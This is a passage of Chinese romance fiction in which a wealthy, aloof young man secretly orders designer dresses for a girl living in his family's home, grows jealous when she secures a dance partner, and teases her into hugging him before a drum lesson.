刘泽文也没幼稚到专门为难她们,只是正好分管租借服装,卡颜帛夕和李清清一下,顺手的事。
驾驶位的的李叔越听越不对,皱了皱眉,偏头看后座的人:“小彦?”
颜家其实来头也不小,只是不在香港的圈子。
但薄家在这里站着,谁也不能欺负在薄家住的孩子。
薄彦的外公前年还给A大捐过钱,自家的孩子在学校被欺负了,说出去不像话。
后座的男生敞腿,斜垮垮地坐着,漫不经心的样子,仿佛对窗外两人的话并不上心。
李叔皱着的眉没有松开,暗忖可能性格冷淡如薄彦,并不想管这样的事情。
他正思考要不要等会儿问问颜帛夕,把事情报给薄彦的父母时,后座的人说话了。
淡淡的嗓音,些微哑意:“我妈经常穿的那几个牌子,叫几个香港区的负责人到家里。”
“明天上午我在家的时候。”他道。
李叔明白意思,副驾的车窗升起,侧头往后,询问:“需要把时间订到明天晚上吗,明晚小夕在家。”
挑衣服,还是当事人在的好。
薄彦拨发的手终于垂下,不知道想到什么,低眸勾了下唇,拍裤子上并不存在的灰尘:“就明天上午来。”
他一贯的慢声语调:“还有,不用告诉她。”
李叔看了他两秒,没反应出意思,但还是顺着应声:“好。”
十分钟后,颜帛夕终于推门上车。
外面有点滴雨,她先是拍了拍头顶沾到的水,再是道歉:“等了很久吗,对不起我来晚了。”
后座倚靠在右侧的人依旧是没说话,只有驾驶位的李叔笑着应声:“没事,怎么没带伞?应该说一下我去接你。”
颜帛夕用纸巾抹掉手臂的水珠:“没关系,下得不大。”
话音落,她想起今天这么早回家的原因,话转向薄彦:“等下是可以去家里的三楼练琴吗?”
她很开心,如果能在家里练当然好,地方不用和人共享,还有薄彦这个老师。
被问话的人像是刚看到她,撩眸扫过来,情绪很淡地嗯了一下。
今天没抱,他还难受着。
颜帛夕眸光扫过男生的脸,觉得刚过来的路上李清清说得也不对。
薄彦对她也称不上好,很多时候态度都很冷淡。
“谢谢你。”她收敛起心思,再次很礼貌地道谢。
不消片刻,车在薄家院前停下。
刚开学,课不多,颜帛夕现在满脑子惦记着新生会,回房间洗过澡换过衣服,到餐厅扒了几口饭,就去三楼找薄彦。
她上到三楼时,薄彦还在走廊尽头接电话。
天气转凉,最近有台风登陆,昨天夜里下了一场雨,今天更是凉得彻底。
薄彦站在敞开的窗户前,不怕冷一样上身只穿了件简单的白色T恤,袖管被夜风撩起,单手抄在裤子口袋,明朗的白T也被他穿出随性慵懒。
颜帛夕和他对视,指了指一侧的琴房,示意自己先进去。
薄彦点首,琴房门被关上时,他偏眸,从窗户看楼下,对手机那端:“都要,挑最贵的拿过来。”
品牌方来薄家的次数多,但以前大多对接助理或管事,薄家大少爷亲自打电话还是头一回。
对方核对清单:“有两条当季的高定我们明天会一起带过来。”
薄彦闲闲应声:“嗯。”
“配套的珠宝需要吗?我们可以一起提供。”对方又问。
薄彦低眸,右手两指修长,夹着鼓槌转了一下,嘴上轻啧,女生就是麻烦。
鼓槌转了两下,他想到刚刚颜帛夕从楼梯口走过来和他对视的那秒。
很难想象,只是看一眼他就浑身舒畅。
他垂着眼皮,半嘲勾唇,还是要琢磨一下怎么能和她呆久一点。
“嗯,都要,”他嗓音淡淡,拖着懒腔,“一样,要最贵的。”
他不知道女生喜欢什么玩意儿,但贵一定没错。
反正花的也是他老子的钱。
如果颜帛夕愿意抱他久一点,那些blingbling,闪成彩虹色的石头,他能一样给她买一个颜色,鹅卵石那么大,串一串给她挂脖子上。
这么想着,他脚下换了重心,还是烦。
也不能跟她说用钱买,搞得他真的像变/态一样。
简单和品牌方又沟通了几句,电话终于挂断。
他左手从抄着的口袋伸出来,撸了把头发,露出光洁的额头和锋利的眉眼。
没有任何发丝遮挡,他的帅更加直观和彻底。
须臾,他拨乱头发,平复了那点极度渴望的躁动后,才抬步往琴房的方向去。
薄彦进门时,颜帛夕正在打电话。
两分钟前,宋之霖拨给她的。
“所以说,你是答应做我的舞伴了?”心头大事落地,颜帛夕的语气难掩欣喜。
但这是薄彦推门进来听到的第一句话。
有点不妙。
他左手还搭在门把,单肩抵在门框,目光淡淡拢在鼓后的女生身上,唇角挂的笑带了一抹讥诮。
他刚还在外面给人买裙子买项链,而她可好,在里面这么兴高采烈地邀请别人当她的舞伴。
那个姓宋的答应她一句,她快笑成花了。
颜帛夕看到门口的薄彦,捂着话筒招了下手,示意他过来。
招手的时候脸上还带着笑。<
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真行。
薄彦放下抱臂的手,隔空抛了下鼓槌,反手压上门进来。
而颜帛夕看到薄彦已经走进来,注意力又转到了正在通话的宋之霖身上。
“谢谢你,那我们以后都一起练习?是你帮我,所以看你的时间,我什么时候都可以。”
“那就每天?”
对方好像是同意了,她的语调又雀跃起来:“真的感谢。”
薄彦已经在她身边坐下,右手槌尖抵在鼓面上,敲了一下,唇边的笑更加嘲弄。
琴房空旷,颜帛夕的每一个字节都撞击到吸音隔板,再落到地面:“作为感谢我请你吃饭怎么样?”
“这周末,周六周日连着请你两顿。”她语气非常欢快。
薄彦认真敲鼓,舌尖抵上口腔内壁的软肉,又笑了。
好不容易等到她电话挂,她收起手机,捡了鼓槌,小心转过来,很高兴的:“我们先从哪里开始学?”
薄彦终于停了轻敲鼓面的动作,瞥她一眼,目光在她脸上落了两秒,鼓槌转方向往前面一扔,烟嗓:“不想教了,今天有点累。”
??
颜帛夕愣住,实在不知道这一刻是惊讶更多,还是无语更甚。
什么啊......下午下课他还发消息催过,搞得她都要以为他这个教课的比自己还积极。
他本来坐的就是个躺椅,现在已经合眼往后靠在了里面。
颜帛夕目光从他脸上扫过,觉得这人表面上看起来云淡风轻,懒懒散散,实际上是个格外阴晴不定的主。
转过去踩了两下脚镲,鼓槌随便敲了了敲面前的几个鼓,心情也有点不好。
他说要教她才回来的,现在又不教了,岂不是浪费她一整晚的时间。
在心里深深叹气,当然知道这事也不能怪薄彦。
思来想去还是决定再回学校练一会儿,学校的音乐社一直有人,她过去随便问问谁,能多学到一些就是一些。
鼓槌放下,拿了手机,起身准备告别。
“那你先休息,我不打扰你了。”她绕开架子鼓,往琴房的方向去。
刚走出去几步,被身后的人叫住。
颜帛夕轻拧眉,回身。
薄彦从躺椅坐起来,很乏困似的捏山根,看起来非常疲惫的样子。
颜帛夕从小乖乖女长大,没怎么被人骗过,也没怎么骗过。
此时看着薄彦的样子有一丝心软,为刚刚自己的心里活动感到抱歉。
男生按着太阳穴揉了两下,开口,嗓音是浸满疲累的哑:“你过来抱我两下说不定可以恢复。”
他语音落,一手支在右腿,托腮看过来,语音语调散漫:“然后就能教你。”
“最好能抱得久一点。”他强调。